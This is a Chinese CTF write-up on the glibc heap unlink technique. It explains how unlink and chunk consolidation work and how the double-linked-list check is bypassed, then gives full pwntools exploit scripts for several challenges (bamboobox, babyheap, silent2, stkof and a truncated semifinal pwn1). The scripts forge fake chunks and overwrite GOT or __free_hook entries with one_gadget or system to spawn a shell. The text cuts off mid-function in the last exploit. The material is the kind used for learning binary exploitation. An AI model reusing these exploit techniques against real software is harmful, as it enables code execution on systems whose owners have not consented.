PWN January 03, 2020

unlink初探

Words count 217k Reading time 3:17 Read count 0

一、源码介绍:

当需要合并相邻的freechunk时用到unlink:

前言:P的选取一定是你要unlink合并后的P的地址,不是随便选取的~

1、向后合并:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!c
/*malloc.c int_free函数中*/
/*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的向后和向前一个free chunk*/
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}

//相关函数说明:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))

/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
...
}

画个图举例说明:

1563366311730

当chunk2free完了,发现上一个块chunk1也是free状态的,就抱大腿合并起来,指挥权交给chunk1,指向chunk2的ptr指针现在指向chunk1,size也变为size+presize:也就是这样:

1563366382842

接着因为使用完了会进行分箱式管理,因此这个新的free的chunk1不会很快回到操作系统,于是需要从所在的free的chunk链中进行unlink(有fd指针和bk指针)再放到unsorted bin中保存。

2、向前合并():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
/* consolidate forward */
if (!nextinuse) { //next chunk为free chunk
unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向前合并!
} else
clear_inuse_bit_at_offset(nextchunk, 0);

……
}

同样用图来解释:

1563366870254

当chunk1free完了,发现相邻的chunk2也是free的,会先进行unlink(让chunk2先脱链,有fd和bk指针),然后再进行合并:size = size+nextsize,ptr指向不变,还是自己:

1563367038719

以上就是两种合并free的chunk的方式,合并过程中用到unlink函数,在free的链表中把chunk块脱下来,然后可以把新的free的chunk块放到bins中管理~

二、保护机制探索

目前集成的对于unlink的保护机制主要就是下面这个:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这个保护学过了数据结构都懂得,也就是要满足p–>fd–>bk = p–>bk–>fd = p,很好理解,但是要怎么绕过呢?

这里看了大佬的方法,只能说一声:牛逼!

利用一个很巧妙的数学等式,完美搞定:下面的例子演示的是64位的例子(一个字节8位),取一个全局变量ptr(指针地址,一般为chunk块的指针地址,存放于bss段中)

令p–>fd = ptr - 24,p–>bk = ptr - 16 ,为什么这么构造,待会就知道了,我们知道空闲块的布局是这样的:

1563368383146

当我们构造好了后,得到FD = p–>fd = ptr - 24,BK = p–>bk = ptr - 16,那么FD–>bk = FD + 3*8 = ptr - 24 + 24 = ptr,同理可得BK–>fd = BK + 16 = ptr - 16 + 16 = ptr,也就是说FD–>bk = BK–>fd = ptr,从而成功绕过了检测机制,那么unlink执行了~我们知道执行是这样的:

1
2
3
4
FD = P->fd;                                   \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD;

根据上面的精心构造,我们可以得到FD–>bk = BK 相当于ptr = ptr - 16,BK->fd = FD相当于 ptr = ptr - 24,unlink执行完了后,我们得到最终的结果就是ptr = ptr -24 ,也就是说ptr指向了ptr-24的地址处。那么如果我们往ptr写入内容为‘a’*24+free(got),那么就可以实现在ptr处写入free的got表,如果再往ptr写入onegadget,那么就是我往free的got表写入onegadget从而getshell~

纸上学终觉浅,绝知此事要躬行:上题目

LAB11:bamboobox

1563370619963

开了堆栈不可执行和栈溢出保护,问题不大:

ida分析一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = malloc(0x10uLL);
*v3 = hello_message;
v3[1] = goodbye_message;
(*v3)(16LL, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( atoi(&buf) )
{
case 1:
show_item(&buf, &buf);
break;
case 2:
add_item(&buf, &buf);
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
(v3[1])(&buf, &buf);
exit(0);
return;
default:
puts("invaild choice!!!");
break;
}
}
}

熟悉的菜单题:把功能都看一遍

1563370724557

1563370761098

1563370816735

1563370872813接着我们把函数提取出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)

认真分析会发现chunk块的结构如下:

struct chunk{

int size;

char a[size];

}

进一步分析可以知道,存在堆溢出的漏洞,造成堆块的重叠,这里就是说change时会把新的内容输进去,从而覆盖原来的内容达到溢出的目的,但是一开始题目会生成一个chunk(0x10),我们知道这是用于输出最开始和结束的字符串,有地址,程序有magic地址:

1563371239086

这题的思路就是unlink,因为有堆溢出的漏洞,所以可以改写相邻的chunk的状态,使得它在free时会触发unlink,实现我们的攻击目的:

利用思路:在chunk1中构造fake_chunk,然后溢出改chunk2的presize和size,这样就可以free掉chunk1了,同时可以触发unlink,使得我们的ptr指针指向ptr-3的位置,输入时输入‘a’*24+atoi_got,就可以实现ptr指向got表,接着可打印出真实地址,又可以改写got为onagadget。

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./bamboobox')
if local:
p = process('./bamboobox')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()


def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)

magic = 0x400d49
atoi_got = elf.got["atoi"]

#bk(0x0000000000400ADD)
malloc(0x80,'aaaa')
malloc(0x80,'bbbb')

FD = 0x6020c8 - 3*8
BK = FD + 8
py1 = p64(0) + p64(0x81) + p64(FD) + p64(BK) #0x20
py1 += "a"*0x60
py1 += p64(0x80) + p64(0x90) #0x10
change(0,0x90,py1)
free(1)

py2 = ''
py2 += 'a'*24 + p64(atoi_got)
change(0,len(py2),py2)
puts()

atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "atoi_addr--->" + hex(atoi_addr)
onegadget = atoi_addr - libc.symbols["atoi"] + 0xf02a4
print "onegadget--->" + hex(onegadget)
change(0,0x10,p64(onegadget))
exit()

p.interactive()

下面进入gdb动态调试一波,看下具体是怎么实现的:

首先是malloc两个0x80大小的块(实际会是0x90,超过了fastbin的范围),就可以实现unlink,双向链表才有这个操作,fastbin单向链表所以是没有的unlink的攻击的。

1563372107661

可以看到3个chunk,1号chunk是存字符串的,2和3号chunk是我们申请的chunk块。

接着我们构造出fake_chunk:

1563372228995

在free掉chunk3前,我们先看看我们的ptr = 0x6020c8在内存中的布局:

1563372600721

看到它指向的正是0xf4d030,也就是我们的chunk2的string的堆块地址,接着我们free掉chunk3,可以得到:

1563372803882

ptr指向我们的ptr-24的位置(0x6020b0),接着看下我们的堆块

1563372928474

可以看到由于只有一个free块又与topchunk相邻,所以会和topchunk结合。大小变成0x20fd1,如果申请了3个chunk就会放到unsorted bin 中。

接着我们改写0x6020c8的位置为atoi的got表:

1563373643006

这里前面有3个位置直接填充字符,看到0x6020c8的位置被我们成功写成了atoi的got表,接着再写一次就是往got写onegadget了:

1563373999722

可以看到成功写入了onegadget,当再次选择时,调用atoi函数就是调用了onegadget,那么就可以gethell了~

1563371890289

这题如果不用unlink去做,就是用house of force,也就是一开始我想的,怎么修改程序自己生成的那个chunk,因为里面有地址,想要修改地址里面的内容为我们的magic,这样就可以实现catflag了,直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./bamboobox')
if local:
p = process('./bamboobox')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()


def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)

magic = 0x400d49

bk(0x0000000000400ADD)
malloc(0x60,'aaaa')
py1 = 'a'*0x60 + p64(0) + p64(0xffffffffffffffff)
change(0,0x70,py1)
malloc(-160,'bbbb')
malloc(0x20, p64(magic)*2)
p.interactive()

那么问题来了,如果没有这个堆溢出漏洞可以去构造出fake_chunk时,或者说malloc的大小固定时我们应该怎么办呢?这里介绍第二种方式:堆块的错位重叠(同样也是堆块里面创造堆块),这里要用到堆地址才能实现,所以得有puts函数打印出堆块上面的信息。

看下网鼎杯的babyheap:

1563452990192

这里看到出了canary,其他的保护几乎全开,got表不可改?真的吗?错,__free_hook还是可以改写的,这是个知识点,要记牢固!

下面进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_400882();
puts("I thought this is really baby.What about u?");
puts("Loading.....");
sleep(5u);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_4008E3();
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v3 = atoi(&s);
if ( v3 != 2 )
break;
sub_400A79();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
sub_4009A0();
}
if ( v3 == 3 )
{
sub_400C01();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(0);
sub_400B54();
}
}
}

可以看到是常规的菜单题,然后提取出各个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def malloc(index,Content):
ru("Choice:")
sl('1')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)
def free(Index):
ru("Choice:")
sl('4')
ru("Index:")
sl(str(Index))
def puts(Index):
ru("Choice:")
sl('3')
ru("Index:")
sl(str(Index))
def exit():
ru("Choice:")
sl('5')
def edit(index,Content):
ru("Choice:")
sl('2')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)

这里需要注意几点,首先只能申请10个堆块,然后只能编辑3次,那么问题来了,该怎么做呢?

第一步先泄露出堆的基地址:

1
2
3
4
5
6
7
malloc(0,'aaaaaaaa\n')
malloc(1,'bbbbbbbb\n')
free(1)
free(0)
puts(0)
heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30
print "heap_addr--->" + hex(heap_addr)

free完了,我们在bins中得到了2个chunk块。这里free的顺序需要特别注意,因为第一个申请的一般低位是0会有截断,我试过,泄露不出地址。所以先free掉chunk1再free掉chunk0,这样chunk0指向chunk1,得到chunk1的地址,进一步得到堆块的基地址。

拿到了堆块的基地址,可以构造fakechunk了,这里我们用堆块错位法,编辑下:

1563453622646

在chunk0的fd位置填写0x113d020,bk填写0,然后data那里填写0和0x31,那么fd指向chunk0自身的0x113d020位置处,bins中也可见:

1563453871703

接着我们申请新的块就会造成堆块的重叠错位,要知道0x113d030处正好有我们的chunk1的大小0x30,如果我们成功控制了0x113d020的堆块,就可以下溢修改chunk1的大小了,改成大于fastbins的chunk,使得后面free时可以得到main_arena的地址,说干就干。

1563454186309

成功了,看到chunk1的大小变成了0xa0,而且转态是free的,但是我们得继续申请才有这么多的空间(实际上还是0x20的大小),我们接着申请2个垃圾堆块(0x60,纯属为了free时给空间),再申请一个chunk4,chunk4的presize和size还是属于我们的fake_chunk的。0x30+0x60+0x10 = 0xa0,刚好,下面我们对chunk4进行精心的构造,造出第二个fake_chunk来,好实现unlink操作~

1563454744150

0x113d0d0那里有0和0x30,gdb没有显示而已,是我们的fake_chunk的presize和size,然后全局变量我们选取的是chunk1的地址指针(0x602068)+24的位置即0x602080(chunk4的指针地址),fd和bk就构造出来了:

1
2
3
4
5
6
7
8
9
FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)

最终unlink出来,0x602080指向0x602068的位置,也就是说chunk4指向chunk1,那么编辑chunk4,就会往chunk1写入free_hook真实地址,接着再编辑chunk1一次,往free_hook地址上写入onegadget即可getshell~

1563455472895

这是unlink后的chunk块,可以发现是向前合并的类型,0xa0+0x30=0xd0,同时放入了unsortedbin中,那么我们直接可以打印出main_arena的地址,从而得到基地址和onegadget,接着编辑即可,上完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./babyheap')
if local:
p = process('./babyheap')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def malloc(index,Content):
ru("Choice:")
sl('1')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)
def free(Index):
ru("Choice:")
sl('4')
ru("Index:")
sl(str(Index))
def puts(Index):
ru("Choice:")
sl('3')
ru("Index:")
sl(str(Index))
def exit():
ru("Choice:")
sl('5')
def edit(index,Content):
ru("Choice:")
sl('2')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)
bk(0x400A56)

malloc(0,'aaaaaaaa\n')
malloc(1,'bbbbbbbb\n')
free(1)
free(0)
puts(0)
heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30
print "heap_addr--->" + hex(heap_addr)
py1 = p64(heap_addr+0x20) + p64(0)
py1 += p64(0) + p64(0x31)
edit(0,py1)

malloc(6,'aaa\n')
malloc(7,p64(0) + p64(0xa1) + '\n')

malloc(2,'cccccccc\n')
malloc(3,'dddddddd\n')

FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)

free(1)
puts(1)

main_arena = u64(rc(6).ljust(8,'\x00')) - 88
print "main_arena--->" + hex(main_arena)
libc_base = (main_arena&0xfffffffff000) - 0x3c4000
print 'libcbase--->' + hex(libc_base)
# malloc_hook = main_arena - 0x10
# libc_base1 = malloc_hook - libc.symbols["__malloc_hook"]
# print 'libc_base1--->' + hex(libc_base1)
onegadget = libc_base + 0x4526a
free_hook = libc_base + libc.symbols["__free_hook"]
print "free_hook--->" + hex(free_hook)
print "onegadget--->" + hex(onegadget)

edit(4,p64(free_hook) + '\n')
edit(1,p64(onegadget) + '\n')
free(2)
p.interactive()

调试可以看到信息:

1563455836253

1563455916281

接着随便free掉一个块即可getshell~

1563455947360

这里总结如下:

那就再来一道简单题:

2018年强网杯silent2:

1563464958537

分析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_40091C(a1, a2, a3);
sub_4009A4();
while ( 1 )
{
__isoc99_scanf("%d", &v3);
getchar();
switch ( v3 )
{
case 2:
sub_400AB7();
break;
case 3:
sub_400B2F();
break;
case 1:
sub_4009DC();
break;
}
}
}

得到函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def create(size, content):
p.sendline('1')
p.sendline(str(size))
p.send(content)


def modify(idx, content1, content2):
p.sendline('3')
p.sendline(str(idx))
p.send(content1)
p.send(content2)


def delete(idx):
p.sendline('2')
p.sendline(str(idx))

可以看到是没有puts函数可以打印的,但是这题的思路相对清晰,就是利用UAF漏洞,先malloc5个chunk块(大于0x80),0,1,2,3,4,其中2chunk写入“、bin/sh\x00”,因为看到了system函数,可以直接调用的,然后free掉3和4,再申请一个大的块时就会得到之前free的两个块,上面的信息也会保留,于是可以构造fake_chunk了,这里先构造一个fake_chunk1用于unlink,接着构造第二个fake_chunk2,将第一个fake_chunk状态置为0,同时修改下一个chunk4的大小使其满足fake_chunk1+fake_chunk2 = 大的malloc的chunk。接着我们再free掉4号chunk,(double free)就会向后合并,从而使得chunk3的地址指针指向chunk0,接着再往chunk3写入free的got,再接着往chunk0写入system,然后free掉2号chunk,即可getshell~

1563463831035

直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./silent2')
if local:
p = process('./silent2')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

def create(size, content):
p.sendline('1')
p.sendline(str(size))
p.send(content)


def modify(idx, content1, content2):
p.sendline('3')
p.sendline(str(idx))
p.send(content1)
p.send(content2)


def delete(idx):
p.sendline('2')
p.sendline(str(idx))


p.recvuntil('king') # 自己创建的banner.txt文件的内容

func_addr = 0x4009C0
free_got_plt = 0x602018
p_addr = 0x6020D8

create(0x100, 'AAAA')
create(0x100, 'BBBB')
create(0x100, '/bin/sh\x00')
#bk(0x0000000000400A4F)
create(0x100, 'DDDD')
create(0x100, 'EEEEE')

delete(3)
delete(4)
payload = p64(0) + p64(0x101) + p64(p_addr - 0x18) + p64(p_addr - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(
0x210 - 0x100) # 构造两个chunk,绕过unlink的检查
create(0x210, payload)
delete(4) # double free
modify(3, p64(free_got_plt)[0:4], '1111')
modify(0, p64(func_addr)[0:6], '2222')
delete(2)

p.interactive()

这题和堆块下溢本质上是差不多的,区别在于没有puts函数和下溢漏洞,但是有UAF漏洞,就可以实现构造fake_chunk,这和第一题是很像的,和下溢的操作是差不多的。

堆溢出,还有一种情况就是当我们的puts无法调用时,无法打印出堆块上面的内容时,我们可以间接调用法,通过unlink写入free的got,然后再写一次往free的got写入puts_plt,那么就可以实现free调用就是调用puts函数,只要free一个带有got表的堆块,我们就可以实现puts打印功能了,接着再次改写free的got为onegadget或者atoi的got为system,传参数(/bin/sh\x00)即可实现getshell~

上题目:

2014 HITCON stkof

由于利用思路都是一样的,堆溢出构造fake_chunk,然后unlink攻击,所以直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./stkof')
if local:
p = process('./stkof')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def edit(index,size,Content):
sl('2')
sl(str(index))
sl(str(size))
sd(Content)
ru('OK\n')
def free(Index):
sl('3')
sl(str(Index))
def malloc(size):
sl('1')
sl(str(size))
ru('OK\n')

ptr = 0x602150
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got["puts"]
puts_plt = elf.symbols['puts']
malloc(0x80)#1
malloc(0x30)#2
bk(0x400981)
malloc(0x80)#3
FD = ptr - 0x18
BK = ptr - 0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(FD) + p64(BK)
py += 'a'*16
py += p64(0x30) + p64(0x90)
edit(2,0x40,py)
free(3)
py1 = ''
py1 += p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(py1),py1)
py2 = ''
py2 += p64(puts_plt)
edit(2,len(py2),py2)
free(1)
puts_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "puts_addr--->" + hex(puts_addr)
onegadget = puts_addr - libc.symbols["puts"] + 0xf02a4
print "onegadget--->" + hex(onegadget)
system = puts_addr - libc.symbols["puts"] + libc.symbols['system']
# edit(2,0x8,p64(onegadget))
# free(2)
edit(0,0x8,p64(system))
sl('/bin/sh\x00')
p.interactive()

下面是半决赛的一道unlink的题目总结:

首先看下保护机制:

1563538104788

看到保护机制,想到要想getshell,只有通过修改__free_hook的地址为我们的onegadget,先埋下伏笔,这里分析开始漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax

init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 2 )
break;
fr();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
ma();
}
if ( v3 == 3 )
{
ed();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(1);
sh();
}
}
}

提取出函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def edit(index,Content):
ru("show")
sl('3')
ru("index:")
sl(str(index))
ru("content:")
sd(Content)
def free(Index):
ru("show")
sl('2')
ru("index:")
sl(str(Index))
def malloc(index,size,content):
ru("show")
sl('1')
ru("index:")
sl(str(index))
ru("size:")
sl(str(size))
ru("content:")
sd(content)
def puts(index):
ru("show")
sl('4')
ru("index:")
sl(str(index))

首先是malloc函数,发现很正常,输入下标,大小和内容:

1563538273935

接着是free函数:

1563538500301

接着edit函数:

1563538463848

最后是puts函数,key2应该是0,所以用不了打印函数:

1563538550431

bss段中key1和key2,掌控着edit函数的使用次数和puts函数的打印功能,而且细心会发现,其实只要填到key2,因为地址占用8位,那么key1也是会被覆盖成1的,问题是要修改这里的值,得下溢,所以得往上找注入点:

1563538651286

1563539102454

如果我们可以往chunk32的地址0x6021E0处写入内容的话,就可以实现下溢,0x6022b8-0x6021E0 = 0xd8字节,也就是从这里开始输入要输入0xd8的字节,同时chunk32是我们能控制的最后一个chunk块,unlink后输入的位置是chunk29的地址,有0x18的距离,0x18+0xd8=0xf0,也就是要填充0xf0的junk string,然后再写入8字节的数字,所以一共需要0xf8的大小,即堆块的大小必须要是0xf8才行,这是第一个坑点,需要计算出要malloc的堆块大小。

接着因为off by null的原理是在输入最后加上一个\x00,溢出一个字节,那么就可以想到修改上一个堆块的状态为free,于是想到可以用unlink的做法实现chunk32的地址指向chunk29,那么我们可以构造出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)

我们先申请4个堆块,然后在chunk32里面做文章,构造出我们的unlink链子,由于off by one的漏洞,会把chunk1的size字节低位置为0,那么就是说我们的fake_chunk是free状态的,这时我们如果free掉chunk1,就会触发unlink从而实现了chunk32指向chunk29,如果我们edit了chunk32,就会从chunk29开始输入,下面一步步看下具体的过程,首先是申请:

1563540226779

接着是fake_chunk的构造:方框是fake_chunk,圆圈是我们的offbyone漏洞,使得我们的fake_chunk为free状态

1563540350067

1563540441908

unlink一下:

1563540498333

1563540667946

一个unlink实现了泄露出libc基地址和0x6021e0指向0x6021c8,接着再改写key1和key2:

1
2
3
4
5
py = ''
py += p64(0x6021E0)*3 + p64(free_got)#0x20
py += 'a'*0xD0
py += p64(1)
edit(32,py)

下图中key2为0,key1位1(改写前),可edit不可puts

1563541459355

下图中key2为1,key1位0(改写后)可edit可puts

1563541492644

这里很巧妙的一点就是chunk29到chunk31都填写chunk32的地址,也就是往chunk29到chunk31写入内容实则都是往chunk32写入内容,那么我们可以进行真实地址泄露了,这里可以puts出chunk32上面的free的真实地址,也可以通过打印1号块的内容来泄露main_arena地址(unsorted bin攻击),打印完了我们就可以得到system和onegadget和free_hook的地址,然后将free_hook地址写入到chunk32中,再往chunk32写入onegadget:

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def edit(index,Content):
ru("show")
sl('3')
ru("index:")
sl(str(index))
ru("content:")
sd(Content)
def free(Index):
ru("show")
sl('2')
ru("index:")
sl(str(Index))
def malloc(index,size,content):
